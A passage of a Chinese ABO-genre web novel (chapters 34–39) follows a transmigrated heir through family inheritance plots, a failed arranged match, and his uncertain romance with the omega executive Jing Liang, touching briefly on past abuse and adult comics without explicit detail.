“那些不是我的真心话,你应该知道人都是有虚荣心的,其实我只是想炫耀一下,我以后可能是你的omega。” 卢绛听到最后这几个字,心理厌恶感达到了极限,想吐,但要忍着。 “卢绛……你理理我呀。”他突然就靠了过来,一阵香甜的omega信息素正刺激着他的鼻子。 卢绛踉跄起身,居然跑到一旁吐了。 心理加生理上的双重暴击。 宋希濂原本就摇摇欲坠的自心尊,被他的反应打击得稀碎,瞬间红了眼眶。 “你什么意思啊?!” “你别……过来!yue!” 奶油味的信息素,好腻! 卢绛并不反感甜食,但那种过份甜腻的东西,他确实吃不下一点。 这种浓度极高的奶油味的信息素,甜腻度已经爆表。 见他要上前质问,卢绛难受极了,摆手喝道:“你别过来!” 宋希濂瞪大着受伤的双眼,似乎快要哭出来。 卢绛:“信息素,你收一收,yue!”他要不能呼吸了。 “混蛋……你这个混蛋!王八蛋!谁要嫁你这个人渣!垃圾烂人,你是我见过人品最烂的alpha!” 骂完,擦着眼泪跑了。 终于跑了! 卢绛松了口气,他再多呆一秒,自己要腻死在这里。 啊不是,好端端的,干嘛要释放信息素? 难道是想勾引他? 真的会有被信息素勾引的alpha吗? 卢绛不理解。 卢绛大为震惊。 又突然联想到景凉发情期的时候,温温柔柔地靠在他怀里,信息素也是淡淡的很温馨。 之后他以为,其实男性omega也不是那么让人难以接受。 现在看来,他错得离谱。 经过这一晚后,宋希濂彻底与他割席断交,倒是开始在他面前和黎湛秀了起来。 今天他们去了沙滩上玩,人特别多。 黎湛玩累了在卢绛旁边的椅子躺下,欲盖弥彰的说了句:“你怎么不高兴的样子?也不过去玩,不会是误会我和濂濂了吧?” 卢绛已经在太阳伞下躺尸半天了。 他淡淡的回应了句:“没有的事。” “你放心吧,我是抢不走的,我这身份哪能跟你比啊?” 卢绛心好累啊! 为什么都是些奇奇怪怪的人,说些莫名奇妙的话? 不阴阳怪气说话,是能死人吗? “弟弟,你怎么不说话了?不会真的生气了吧?” 卢绛用力闭了闭眼,拳头硬了。 “你真的生气了啊?你怎么那么小心眼?我不就是多跟濂濂说了几句吗?至于吗?” “我,不喜欢宋希濂,你要喜欢就去追,不用顾虑我。” “你说话好酸啊!” “我没有!” “你还说没有,你看濂濂那么受欢迎,心里是不舒服了吧?同身为alpha我懂的,占有欲嘛。” 宋希濂确实很受欢迎,走哪屁股后面都跟着一群随时想要发情的alpha。 “等你结了婚,永久标记他,把他锁在家里就是了。” 34、第34章 卢绛差点就要抡起拳头揍他。 为了让他安静点,卢绛拿出了那副嚣张跋扈的样子,冷声喝斥:“闭嘴!” 黎湛呼吸一窒,没敢再说下去。 他尴尬笑了笑,起身道:“我和他们去那边打排球了,不打扰弟弟你休息。” 卢绛见他走远才舒了口气,看来以后只要摆臭脸,就能杜绝百分之九十九无意义的社交。 晚上在庄园里用了餐,卢绛拿了两份文件去了父亲的书房。 另一边花园里,黎湛正陪着姑妈散步消食。 黎花:“你有没有觉得,阿绛的性格变了许多?” 黎湛冷哼了声:“哪有?他只是在你们面前装乖而己,他对宋希濂很不耐烦,对我也是,不高兴就冷脸喝斥,一点没变。” 黎花:“嗯……你平常就多哄着他点,他脾气古怪偏激,脑子也不是很灵光,难当大任的。” 黎湛难免一阵激动兴奋:“姑妈,我知道该怎么做的。” 黎花满意的笑着拍拍他的头,“乖孩子,你觉得宋希濂对你有好感吗?” 黎湛:“他在表弟那里受了委屈和冷眼,我只要对他稍微表露关怀,和表弟一对比,事半功倍。” 黎花:“那就好,也不枉我顶着你姑父的压力,带你来这一趟。” “姑妈,表弟他……是做错什么天大的事了吗?你为什么……” “你别多想,你各方面都比你表弟出色,况且你又是我娘家哥哥唯一的儿子,都是一家子,等你继承了卢氏集团,也不会亏待了你表弟。” “那当然!我和表弟一起长大,一家人不分彼此。” “要换你表弟继承家业,指不定什么时候就被他给败光了,你明白姑母的用心良苦吗?” “嗯!我一定不会让姑妈您失望的。” * 书房,卢佑铭粗略看过儿子带来的收购计划书和一份app商业策划案,疑惑地盯着他许久。 “说吧,谁替你写的收购计划书和策划案的?” “是我自己花时间弄的。” “哼!你是我儿子,我能不了解你?” “士别三日当刮目相看,何况我都改过自新一年多了,您是我父亲,为什么不相信我?” “嘿,你……”卢佑铭笑得讳莫如深,他就是不信他能一下子把恶习全改了,不过这两份文件的含金量确实高。 “想要钱,可以,我给你十亿做启动资金,成败与否皆看你自己。” 卢绛瞪眼,这个爸出手也太大方了吧? 那可是十亿啊! “怎么,你嫌少啊?你也不想想家里的情况,能拿出十亿给你已经很不错了!” “不,不是,挺好,十亿。” “三年之内,你要做不出成绩,就得回家全部听我安排,不许有任何反抗!” 这个爸控制欲真强,不过十亿还算很好拿。 “我答应您。” 卢佑铭优雅喝了口咖啡,谆谆教诲着:“你想要做事业很好,证明你还有点上进心,我这个做父亲的没有理由拦儿子的路,但是你要让我发现你是打着干事业的幌子骗我的钱去玩乐,卢绛,后果你可得想好了。” 看来这个父亲对儿子很好,以前做了那么多混帐事,还愿意无条件再信任他一次。 如果他从一开始就有这样的父亲…… 卢绛不敢想自己会有多快乐。 人总是不满足的,想要的得不到,得到的不珍惜。 卢绛用力点了点头:“爸,您放心,我会上进努力的。” 卢佑铭心中从未有过的宽慰,或许是孩子真的长大懂事了。 “我看这两天,希濂与你表哥走得很近?” “爸,我跟宋希濂不是一路人。” “呵,那你跟谁是一路人?姓景的?你知道景凉是个什么人吗?你就跟人家一路人!” 卢绛垂眸沉默。 卢佑铭睇了他一眼,语重心长,“我不是看不上景凉,是这人心狠手辣,城府极深又睚眦必报,你吃不住他。” “为什么要吃住他?” 卢佑铭血压蹭蹭开始上窜,“你到底是聪明还是蠢笨?” “……” “出去!看见你就心烦!” 卢父将文件扔给他,别开脸去不再看他一眼,看了生气。 卢绛捡起文件道了声晚安,离开了书房。 岛上温度很高,卢绛洗了澡还是觉得闷热,光着膀子拿了冰水去了阳台吹风。 楼下院子的马灯昏黄,却能将那两道身影格外凸出拉长。 只见黎湛与宋希濂靠得极近,俯首交耳状似亲密无间。 黎湛抬头帮他捊过汗湿在脸颊上的发丝,宋希濂笑得很甜,仰头看他满眼都是笑意。 卢绛的身影无意闯入宋希濂的视野,他的笑容明显僵住。 卢绛双肘撑着栏杆看着他们,没有一丝要躲的意思。 黎湛察觉到了什么,仰头朝卢绛看去,腆着脸笑着朝他招手。 “弟弟,要下来一起玩吗?” 卢绛冷眼打量着他们,随后沉默转身回了屋,将阳台窗帘给严实拉上。 室内的冷气开始发挥作用。 他拿过手机,想看看有没有新的未读信息,门被敲响了。 卢绛疑惑的朝门口看了眼,“进。” 门应声推开,黎花端着一碗凉汤走了进来,“喝碗凉汤解解热。” “谢谢,妈妈。”叫得还是有点别扭,卢绛已经在努力适应了。 黎花满眼慈爱盯着他,卢绛在她的注视下,一点点将汤喝完了。 “这两天经我观察,你和希濂好像不怎么来电?” “嗯……” “你不要有心理负担,其实我也觉得希濂那孩子跟你不是很合适。” 卢绛心头一暖,有些感动。 黎花又说道:“不管你做什么决定,妈妈都无条件支持你,你要是真喜欢景凉,妈妈也不会反对的。” “我不是……” 黎花拍着他的手背稳了稳他的心,“你好好休息,不要多想。” “嗯,谢谢,妈妈。” 黎花浅笑着起身拿起茶托,离开了他的房间。 卢绛眼眶发热,心里淌过一股暖流。 如果小孩可以选妈妈,那大概都会喜欢像黎花这样的吧? 温柔漂亮、知性大方,看向自己孩子的时候,满眼慈爱,能理解他包容他。 在这个世界,一切都慢慢的在变好。 卢绛深吸了口气,心脏被幸福撑满,整个人都显得轻快。 他拿过手机,想要分享这份快乐和幸福感,刷到了景凉的朋友圈有更新。 【景凉:我只想要一朵属于我的玫瑰花,哪怕其它的玫瑰花再如何馥郁芳香,如何的热烈开放。】 配图是一片红玫瑰园。 很暧昧的动态,让人有些在意。 35-40 第35章 第35章 你来这儿,带着我的外套?…… 【卢绛:这是在哪?】 【景凉:你猜。】 【卢绛:你一个人?】 【景凉:你猜。】 【卢绛:……】 好烦!卢绛用力抓了把头发, 第一次体会到什么叫抓心挠肝。 他感觉自己被钓了,偏偏还不想拒绝。 【卢绛:你把地址隐藏了。】 【景凉:是呀,我故意的,不想被不相关的人找到。】 【卢绛:哦。】 景凉用力戳了戳手机屏幕:“钓了这么久, 就回一个‘哦’字?好好好, 我倒要看看小朋友有多难上勾。” 【景凉:如果你想过来,我给你一个定位, 正好我可以还你外套。】 【卢绛:你来这儿, 带着我的外套?】 如果没有意外, 景凉现在就在这个岛上, 他果然没有否认。 【景凉:是啊,气味已经很淡了,快要闻不到你的信息素。】 卢绛内心很纠结,他不是小孩子了, 他看得懂景凉在暗示什么。 如果去了, 就会打破现在所有的平衡,无法向前也绝回不到从前。 如果不去, 那他和景凉或许从此以后会形如陌路。 半个小时过去了, 卢绛没有回复。 景凉坐在酒店房间的吧台前,已经喝光了整瓶白兰地。 他纤长白皙的五指把玩着透明的高脚杯, 等不到回复, 他满是失望的将手机屏幕盖向桌面。 长到二十六岁第一次喜欢一个人, 不过很遗憾, 这个人没那么喜欢他。 他往前走了九十九步, 可他喜欢的人连一步都不愿意迈向他。 世事总是这样的,喜欢的人也喜欢我,happy ending大结局只存在于童话故事。 景凉不喜欢这种无力感和失控感, 他眼底氤氲着泪光,翻开手机,点开了卢绛的头像,迟疑了几秒后,删了好友。 “既然那么难以决定,那就让我来做这个决定,我要的是全部,不是暧昧游戏,小、朋、友。” 【卢绛:给我一个定位,我去找你。】 【系统提示:您还不是对方的好友。】 卢绛怔愣地盯着弹出的系统消息,心脏紧了下如针扎的痛感发散全身。 也好,景凉已经替他做了决定。 他也不知是该松口气,还是要持续这种难过与空虚感。 但是,他有点想哭。 他点开霍临的对话框。 【卢绛:他把我拉黑了。】 【霍临:……】 【霍临:别太难过,正好给自己一点空间,好好想清楚,到底想要的是什么。】 【卢绛:应该没这个机会让我想清楚了。】 【霍临:其实,这样也好,他不适合你。】 【卢绛:为什么你们都这么说?】 【霍临:因为显而易见,你觉得自己和他相处愉快,是因为这是他想要的结果,他情商比你高。】 【卢绛:我怎么觉得你在骂我情商低?泪眼婆娑.jpg】 【霍临:我真没有这么想!】 【卢绛:我很难过,控制不住的难过。】 【霍临:没事的,过一段时间就好了,好好搞事业好好学习,你还小,以后会遇到各种各样的人。】 【卢绛:不会有别人。】 【霍临:你真有这么喜欢他?】 【卢绛:我不知道。】 【霍临:抱歉,我也帮不了你,感情这东西我都活了两世了,还没入门呢!还是钱靠谱。】 【卢绛:我从来没有像现在这样讨厌自己,讨厌那些过去。】 越喜欢,越害怕。 越靠近,越不知所措。 爱无能患者,亲密关系恐惧症,这是三年前心医生给他的诊断书。 他一直觉得没有关系,反正遇到不到的,那个会真心相待的人。 【霍临:那只是一场噩梦,你要让一场噩梦,困你一辈子吗?】 【卢绛:难道你也会认为,你经历的那十年,只是一场噩梦吗?】 【霍临:弟弟,这天没办法聊了,聊起来伤感情。我还是去写我的代码吧。】 【卢绛:我去哭一会儿。小狗暴哭.jpg】 【霍临:去吧,别憋着,好好哭。】 仿佛天塌了一般,卢绛钻进空调被里,蒙头暴风哭泣。 这房子隔音很好的,哭很大声也没有人听到。 * 南城今晚下了雨夹雪,霍临买了两个电烤炉,一个给崔少霈,一个自己用。 崔少霈从医院回来,一直呆在自己房间,几乎不怎么出来见人。 霍临也没管他,反正做饭会留一份热着,他吃也好,不吃也好。 过年前他接了几个私活,又将app的一些功能升级完善了一下。 看了眼时间,快凌晨了。 肚子有点饿,他打算煮点面条,才刚从沙发起身,却见崔少霈推开卧室的门走了出来。 不像在医院里那么憔悴苍白,养回了一点精气神。 两人的视线在冰冷的空气中相遇,彼此又无声的移开。 “你吃面条吗?我去煮。” “嗯,谢谢。” “不用客气。” 崔少霈安静的坐到了沙发的电烤炉旁,看了眼桌上的电脑和一堆工作文件,对霍临有了些改观。 原来他也会努力的工作么? 他还以为,霍临会继续靠着那张脸和身材优势,选择躺平赚钱。 霍临很快弄了两碗面条过来,上面还盖着一个煎蛋,切了大片牛肉,配了烫熟的空心菜和黄豆芽。 崔少霈看着眼前这一大海碗愣了几秒神,“太多了。” “没事啊,你吃不完可以给我吃。”他都快饿晕了。 崔少霈胃口不怎么好,碗里的配料一样吃了点,面就吃了两筷子,便放着不动了。 霍临抬眸瞥了他一眼,继续埋头猛干饭。 吃完自己的这一碗,顺手又把崔少霈那碗抱了过来。 崔少霈疲倦的轻叹了口气,才说道:“这段时间,谢谢你的照顾。” “我也没照顾你,不必谢。” “嗯,我跟你之间所有恩怨,从今天开始一笔勾销,你同意吗?” “好啊,我也不喜欢总揪着过去不放。” “过几天我会出去工作,那边包吃包住,我会尽快搬出去住的。” 霍临缓下了吃面的动作,“出去……干什么工作?” “我前两天联系了一个朋友,他的酒庄需要有人打,正好我也懂些这方面的东西。” 霍临心脏紧了下,只觉得很不靠谱,他见过他的那些朋友,都不是好说话的,要是发现他现在是个omega…… “非去不可?” “我需要还债。” “嗯……那还是回来这边住吧,我可以送你上下班。” 崔少霈如同见鬼般地盯着他,“你,接我上下班?酒庄晚上客人比较多,会经营到很晚,你不用这样。” 第36章 第36章 他以前不是最喜欢看这些两性…… 霍临想到他前世种种, 毁容、腺体破损、浑身伤疤…… “我接你。”他一脸严肃,语气十分坚定。 崔少霈明知不该再对他抱有期待与幻想,可那颗不争气的心却不受自己控制又开始骚动。 “你要是闲得慌,想接就接吧!我回房间睡觉了。” “嗯。” 似是想到什么, 霍临回头叫住了他:“崔少霈!” “什么?” “你可以一直在我这儿住着。” “我没由……” “你有由, 以前我吃你的喝你的用你的,还有那个孩子……都是我欠你的。” 从医院出来, 崔少霈已经很克制自己不去想那个孩子, 现在却被霍临这样没有避讳的提了出来, 刺痛着他的心。 “那个孩子跟你无关, 是我自己犯贱,你以后……不要再提了!” 崔少霈用力甩上门,隔绝了与他的一切。 霍临舒了口气,看着还剩了半碗的面条, 也没了胃口。 他收拾了桌子, 抓紧洗漱回房间睡觉了,明天又是努力奋斗的一天。 * 卢绛他们只在岛上呆了五天, 便回了帝都。 原本宋家与卢家的联姻因为一个黎湛的插足而彻底分崩离析。 卢绛的情绪显得十分低落, 这让宋希濂有了点小骄傲,人总是犯贱的, 之前对他爱搭不, 现在他直接选择了黎湛, 后悔也已经晚了。 离开卢家前, 宋母正在与卢家的长辈客套临前话语。 卢绛无话立在院里, 等着送客。 宋希濂嘴角噙着笑,扬起下巴双手背在身后走到了卢绛的身边。 “你是不是后悔了?” 卢绛垂眸打量着他,轻挑了下眉:“嗯?” 宋希濂冷笑:“我知道你在想什么, 你们alpha大都这样,不过你没机会了,我选了你表哥,你也不用生气,毕竟湛哥的信息素是A级,我和你确实不相配。” 卢绛看着他想说点什么,又最终长叹了口气,转身走开了。 宋希濂想到他刚才那个眼神,好像在看一个智障,他气得脸色胀红,想骂人,但奈何还有长辈在这里,只能怒瞪着卢绛离开,恨得差点连牙都要咬碎。 黎花与黎湛显得十分热情,送宋家的车子驶出了院子。 卢家父子早已进了屋。 书房。 卢父正在处这几日堆积的文件。 乔秘书敲门走了进去,顺便将书房的门反锁上。 “卢董,现在情况有些复杂。” “怎么个复杂?” “宋家怕是竖敌很多四面楚歌!M国那边不止有我们的人正在盯着宋家的人,还有三波不明势力在暗中盯梢。我们要派人打发掉吗?” 卢父猛地摔下手中的钢笔,脸上的肌肉因隐忍的愤怒抽动。 乔秘书身躯一震,僵立在一旁不敢再多说。 “不用打发,手里拿到的把柄都送出去,既然不为我所用,那就毁了它,扶新的听话的人上位。” 乔秘书暗抽了口气:“怎么突然……” “宋家还是过于傲慢了,看不清形势,又生了一个蠢儿子,这个蠢货没能嫁进来也好,生孩子会遗传,就让他跟着宋家一起消失了吧。” 宋家有一个表兄,暗中攒助这个表兄在海外从商好多年,去年行情不景气,亏损了些钱,宋家挪用好几亿的公款补了窟窿,听说纪检委的人已经对宋家起疑,在悄悄派人潜伏调查。 所以宋市长才会那么紧张要把这个omega儿子推出来联姻,这其实就是一桩买卖。 只是没想到,这桩买卖黄了。 乔秘书觉得就算两家没联上姻还不至于要彻底把宋家拉下马,看来是触了大霉头。 “怎么回事卢董?” “这次我夫人安排了黎湛跟着一起去了,我夫人看来是动了不该动的心思。” 他绝不可能看着宋家与别的家族联起手来,对付卢家! “可毕竟卢少才是她亲生的啊!” “行了……”卢佑铭打断了这个话题,似乎不想再探讨下去。 “哦对了!”乔秘书突然还想到一个很重要的信息,“你们去岛上的第三天,那位小景总也跟去了。” 卢佑铭眉头紧锁:“他们见面了?” 乔秘书:“没有,酒店那边传来的消息是第二天早上,那位小景总就走了,并没有与卢少见面。” 卢佑铭冷笑:“看来小景总魅力也不够啊!这人聪明是聪明,就是太过聪明,凡事过犹不及,人也一样,太过聪明或者太过蠢笨都不行。” 乔秘书连连点头:“卢董说得是。” “嘶,不对啊!” “卢董,怎么了?” “卢绛那小子,不会是不行吧?” 上次景凉明明都跟着上去了,不到二十分钟就下了楼,似乎还一脸不爽的表情。 看来并非是他这个当爹的想太多。 * “啊嚏!”卢绛狠狠打了一个喷嚏,用手挥了下空气中的浮尘。 他正在清书房,想买些专业知识的书回来。 将原主以前堆积在书房里的小黄漫全扔进了纸箱子里,然后封了起来搬楼下放到了垃圾桶旁。 他前脚刚走,管家便偷摸地抱着纸箱子去了书房。 卢佑铭盯着那只纸箱子,沉声道:“打开看看,他扔什么东西了。” “好的先生。”于伯将胶带撕去,拿出其中一本漫画,翻了几页,老脸通黄又扔了回去。 “先生,是少爷的漫画书,一下子全扔了。” “他以前不是最喜欢看这些两性知识吗?怎么现在突然不感兴趣了?” “这……可能是没什么新鲜感了?” “嗯,那你找人多买几本这种两性知识的漫画书籍,让他看!” “啊这??” “一个快二十岁的alpha成天这样宅在家里,对omega提不起一点兴趣,毫无竞争意识,这不对劲!” 于伯连连点头:“先生我懂了,您是想让少爷多看这方面的书,让他提起这方面的兴趣?” “先观察一段时间,实在不行,就送医院看看。”卢佑铭深沉的抽了口烟。 以前卢绛没有学过开车,这具身体有原主的肌肉记忆,当他坐进跑车驾驶座时,脑子没有跟上,身体就已经做出下意识的反应。 卢绛开车去了市区最大的书城,他现在正如一块干涸许久的海绵,是疯狂汲取知识的年纪,好奇心强且精力旺盛。 余下的大半寒假,卢绛闭门不出,徜徉在知识的海洋,一心学习。 只有霍临才知道,他也不是真的那么酷爱学习,只是景凉把他拉黑后,化悲恸为力量,转移注意力。 第37章 第37章 不合身的名牌穿在身上,只会…… 帝都一家高级咖啡馆, 景凉频频看着腕表,相约的alpha迟到十五分钟姗姗来迟。 相约的alpha高大英俊,穿着不怎么合身的名牌西装,眼神冷傲似还有一丝委屈。 景凉打了一个手势叫来服务员, 声音清脆平缓:“帮这位先生点单。” “好的。” “一杯美式, 谢谢。” Alpha悄悄打量了眼对面的景凉,眼底划过一抹惊艳的流光, 呼吸微乱。 “周海鸣周先生, 你迟到了十五分钟。” “抱歉, 路上有点堵。” 景凉不动声色喝了口咖啡, “我看了你的资料,帝都艺术学院表演系的在读学生?” “是的。” “毕业后有什么打算?” “会从事相关行业。” “当明星?” “景先生不怎么看娱乐新闻吗?我年前就签了一家娱乐公司,有一部领衔主演的仙侠剧要开机。” 景凉浅笑:“我不怎么看娱乐新闻。” 周海鸣不置可否,“那你可以回去看看。” 景凉笑而不语, 从皮夹里拿出卡准备买单。 “我们什么时候结婚?” “嗯?” “不是相亲吗?你急着要结婚, 我看你条件很不错,对我来说这个交易不亏。” “你就不问问我, 对你的印象如何?” 周海鸣一脸自信, “我觉得,以我的外在条件, 还有A+级信息素, 配景先生绰绰有余。” 景凉暗自做了个深呼吸, 没错, 这才是正常的alpha, 被世人捧得高高的,自负又傲慢,没有同心, 不懂得尊重omega,以自我为中心。 这才是正常的,不是吗?为什么现在却变得那么难以忍受? 景凉抿唇不语。 周海鸣却开始一脸自得侃侃而谈。 “虽然omega总是与一些alpha出入各种会所不太好,但婚后我不会干涉你的工作。我在娱乐圈竞争资源时,希望你能无条件支持。还有,我是你丈夫的身份保密,毕竟我职业特殊,你应该懂得。你已经二十六岁了,哦不,迈入二十七了,还是尽快要孩子吧!” “你说够了吗?” 周海鸣看着他完全冷下的神情,怔愣了几秒,有些不敢相信一个omega怎么能态度这么傲慢? “你来之前喝酒了?” “没,没有啊。” “既然没喝酒,口气怎么这大?” “你什么意思啊?” “迟到十五分钟,堵车是由吗?知道堵车你不会提前半个小时出发?” “你有没有搞错?是你求着我要结婚,让你等等怎么了?” “我想你弄错了一点,是我在挑选alpha,你只是五十个名单里被挑选的一员,我现在正式通知你,你被淘汰出局了。” “姓景的,你别太过份!” 景凉优雅起身,八风不动宠辱不惊,垂眸睥睨的神情像在看一个垃圾。 “啧,下次借西装还是借合身的比较好,不合身的名牌穿在身上,只会让你看起来更廉价。” 说着,景凉指尖夹着黑卡,抬手冲他笑笑:“希望你口袋里还余有付你那一杯咖啡的钱,后会无期了,周先生。” 景凉强忍着恶心,转身大步离场。 他去了别墅拳击馆,在那里揍了一个下午的沙袋。 * 晚上景凉回家陪母亲吃晚饭。 快吃完时,母亲一脸凝重,“那个小明星也不满意吗?” 景凉本来胃口就不太好,瞬间如同嚼蜡,“再看看吧。” “那你想找个什么样的呢?” 景凉放下了碗筷,一脸严肃,“我没有别的要求,只要像个正常人就行了。” “正常人不一抓一大把吗?” “正常人,没有太离谱的三观,平等尊重每一个人,有同心、同情心,包容体谅彼此,您说得对,这种在omega群体里一抓一大把,可为什么换作alpha这些就都变成闪亮的优点了?” “这是时代大背景下你无法改变的东西,又何必较真呢?” “我没有较真啊,我只是想找一个真正尊重我,真心待我的人!这么简单的要求,却都成了妄想。” 景凉有种深深的无力感。 “你要懂得取舍,前路才不会那么艰难,这是每个人必修的人生道。” “可我已经一退再退了,既然omega活得这么艰难,那我摘除腺体也许会活得轻松一点!” 景妈没再说什么,她解儿子的想法与委屈。 一个没有后盾与退路又肩负重担的omega,每一步都走得举步维艰。 她只怪自己没有能力,护不了孩子周全,给不了他想要的生活。 谈话不欢而散。 景凉心情低落的回了房间,开窗让冷空气灌了进来,如同自虐一般,站在冷风里,任其带走身体的温度,直到麻木。 他解母亲对他的担忧与对现状的焦虑,她的身体如果还好的话,不会这样着急。 想到刚才那样冲撞她,景凉又懊恼不已。 现实是无法想化的,他确实得抓紧时间把自己这件事定下来,不是他非要找一个alpha,而是整个社会和A权下,对omega的本身施加的规则与无奈。 景凉沉重闭了闭眼,再睁眼时已恢复了清明之色,他利落地关上了窗,继续约下一个alpha面(相)谈(亲)。 卢家。 卢绛已经整整半个月没出过门了,吃完饭回了书房继续看书。 突然从他看的书中掉出一本漫画书来。 他疑惑捡起瞄了眼书名——《顶级A的娇软小甜妻》。 见鬼! 卢绛环顾了四周,每一个不起眼的角落都摆了一本。 ——《与甜心不眠的七天七夜》 ——《他逃他追他插翅难飞》 ——《囚爱索欢108式》 …… 他们到底想干什么?为什么要塞黄漫给他看? 这个造人的过程到底有什么好看的?交换这种事真的不恶心吗?! 噫! 卢绛抓过书瞄准不远处的垃圾桶正要扔进去,又有点子好奇的迟疑了几秒。 到底有什么好看的,看一看或许会知道。 于是卢绛深吸了口气,端正态度以学习的心情打开了漫画书。 男主是顶级A,小娇妻暗恋他多年,因为家族联姻,小娇妻如愿嫁给了他。 但奈何男主A有白月光,于是在第二章新婚之夜,男主A为了惩罚小娇妻的自不量力,强行标记了她。 各种姿式,各种污言秽语通通来了一遍…… 既恶心又猎奇,还莫明的有些刺激,卢绛看了一半,几乎没有剧情,对话全在床上。 他合上漫画书,搓了把通红的脸,果断扔进了垃圾桶里。 他常常因为这个世界AO设定过于BT,而显得格格不入。 第38章 第38章 要是换成和喜欢的人做,你也…… 卢绛将房间所有的漫画书放进收纳盒里, 直接抱着盒子大步往楼下冲。 他用力敲了敲卢佑铭的书房,未等里面的人说话,推门闯了进去,风雨欲来地将收纳盒重重搁在他的办公桌上。 “你有没有点规矩?”卢佑铭皱眉正要说他一顿, 看到收纳盒里的漫画书, 语塞了。 “不要往我房间里乱塞不干净的东西。” “这书不好看吗?” “老不正经!” “嘿你……我还不是为了你好,卢绛, 你是不是有什么毛病?不要讳疾忌医!” 卢绛白了他一眼, 转身正要离开, 看到了书房里还有别人。 男人身形微胖, 年约五十来岁,是个B级alpha。 看到卢绛时笑得很讨好,卢绛没多会,摔门走了。 “卢少真是有个性哈!” 卢佑铭表面瞧着不满, 却只是不痛不痒的责备了句, “臭小子,无法无天了他!” 陈万川陪着笑, “现在年轻人都是这样的, 他们的自我意识很强。” 卢佑铭冷笑了声:“没经过社会毒打!” 陈万川:“对了,卢董, 我们刚才说的那事……” “呃, 啊……你刚才说什么来着?”卢佑铭装迷糊。 “就是卢家与景家的联姻, 哎, 您现在也知道景氏集团是个什么样子, 自从景凉上位之后,一意孤行,丝毫不把我们这些长辈放在眼里, 董事会的成员早对他不满了。” 卢佑铭点了一支雪茄,“哈哈,是吗?小年轻都这样嘛,自我意识很强。” “这次我们董事会一致决定,为了公司前途,必须要让他从那个位置下来!” “嘶~啊~”卢佑铭抽了口烟,微眯着眼意义不明的说了句:“小景总干得不好吗?听说你们公司年利润比较去年增涨了百分之三十五。这不挺好吗?大家分红一起吃肉。怎么,你们董事会成员比较喜欢喝汤?哈哈哈哈……” “哈哈哈……”陈万川跟着皮笑肉不笑的尴尬着。 卢佑铭弹了弹烟灰,不在意地笑笑:“陈总放心,你们景氏要做什么决定,我们卢家绝不干涉。” 陈万川等的就是这句话。 “好好好,有卢董这句话我就放心了!之前一直碍着两家联姻的关系还深有顾虑。” “要是没别的事,我就不送陈总了。” 送客意味明显。 陈万川赶紧起身,“不用不用,那就不打扰卢董您休息了。” 待陈万川离开,卢佑铭敛回笑脸,满是严肃冷峻低斥了声:“蠢货!” 乔秘书见人走了,这才拿着平板电脑走了进来。 “卢董。” “嗯,查到了吗?” “您看,不是什么秘密,海豚湾开发项目案。” “不用看了,我知道这个项目,都烂了十几年了,最早的开发商征收了十几个亿通过审批的一级开发项目,结果新政策一改,又下了一批人进行地质勘探等文书,很多处不合格,之前审批的公文就被更上级的卡了,连我都不想碰这个烫手山芋,他们怎么敢?” “那小景总一票否决了这个项目。” 卢佑铭笑了声:“这个景凉啊,你说他要是个alpha该多好?偏偏是个omega,处处被掣肘限制,可惜咯。” 听得出来,卢佑铭对景凉有几分赏识在里面。 乔秘书也不由有点惋惜,“只怕他们对小景总用的手段不会太干净。” “人各有命,景凉要是在这里栽了,那也是他的命,各人自扫门前雪,莫管他人瓦上霜。” “卢董说得是。” * 晚上十点,卢绛收拾了书桌,准备洗漱休息。 卧房被人敲响,没一会儿黎花推门而入,手里端着一碗云吞。 “吃点东西再休息,这大晚上的别饿着,云吞是妈妈亲手包的,肉馅经过秘法腌制,应该很鲜,你快尝尝。” 卢绛心中淌过一股暖流,坐到了桌前,道了声:“谢谢妈妈。” “怎么跟妈妈这么客气了?我们阿绛是越来越乖了。” 卢绛被夸得有点难为情,埋头认真吃云吞。 黎花看向他的神情依旧慈爱温柔,“你表哥和希濂的事情,不知道你怎么想?” “我没什么想法,他们是你情我愿的,这很好。” “你真的这么想?” “嗯。” “我还以为你会怪你表哥。” “不会的。”因为他根本就不在乎。 黎花笑意渐深,“你真的懂事了,妈妈感到很欣慰。” “妈,我吃好了。” “好,那你休息吧。” 卢绛神情复杂的目送她离开,感觉有些奇怪,但他说不上来。 那天晚上卢绛做了一个有颜色的梦。 漫画里的情景在梦中重现,而主角变成了他和景凉。 他内心很抗拒,心上的厌恶与身体上的欢愉在无限拉扯交杂。 梦里的感觉很真实,醒来时窗外已经泛起了鱼肚白,裤子传来的湿冷让卢绛崩溃。 他猛地翻身如一阵旋风冲进浴室,打开洒花,冷水将还未褪去的燥热降下。 他就不该因为那一丝好奇心打开那本书! 真是疯了,他居然做了一晚这种梦! 冲了四十多分钟冷水,卢绛围了条浴巾,头发湿漉漉的走到卧室,濒临暴走边缘拿过手机给霍临打了一个电话。 霍临迷糊接起电话,看了眼时间,痛苦抱怨了句:“大少爷,你看看时间好吧?才七点,你这是连寒假也不想让我好过?” “你做过那种梦吗?”卢绛压低着嗓音,神经兮兮。 “哪种梦啊?” “那种,就是两个人会做的梦。” “噗!”霍临很不给面子的笑喷了:“哦,你做春梦啦?” 卢绛很不想承认,但选择了默认。 “你梦到跟谁了?” “没,没有谁,看不清楚脸。” “青春期,正常,你这是属于晚晚熟的那种,relax~” “我感觉很不舒服,很恶心!” “哪里恶心了?这种梦很舒服啊!我想梦都梦不到。” “黏黏糊糊的,不恶心吗?” “……” 沉默了好一会儿,霍临认识到了问题的严重性。 “要是换成和喜欢的人做,你也觉得很恶心?” 这个问题,直击卢绛的心脏,让他下意识摒住了呼吸。 他裹住被子缩成一团,景凉怎么可能会恶心?他那样好,哪里都很好。 “嗨喽,弟弟你还在吗?” “嗯,在的。”声音闷在被子里,只露出凌乱的头发和两只绯红的耳朵。 “哎,你真的是……”霍临无奈:“你有没有听过破窗效应?” “有什么联系?” “一件很喜欢的衬衣你穿了很久,突然有一天它沾上了洗不去的污渍,你是不是会想,反正已经脏了,再沾上污渍也不会心疼?你不如试着去打破它,多试几个人,次数多了,以前你以为很了不起的东西,那都算个屁!” “我懂了。” “是吧?” “渣男摆烂法。” “你要这么解也对!” “哥,我信了你的邪。” 第39章 第39章 他其实是个omega!为了…… 卢绛用力戳了挂断, 心情复杂。 他十三岁被那个人渣收养,被猥亵也是在性懵懂的年纪,长达五年,那个人渣带给他的感觉只有恶心, 所以他很排斥这种事情。 昨晚的梦, 他反感恶心的不是和景凉做这种事,而是他对这种事的糟糕记忆, 是这件事的本身, 会把他和景凉在一起的感觉混淆不清。 他好像也不是排斥喜欢男性或者喜欢男性的omega。 而是因为猥亵他的人渣为男性, 如果跟那个人渣一样喜欢男人, 那……他算什么呢?也是BT吗? 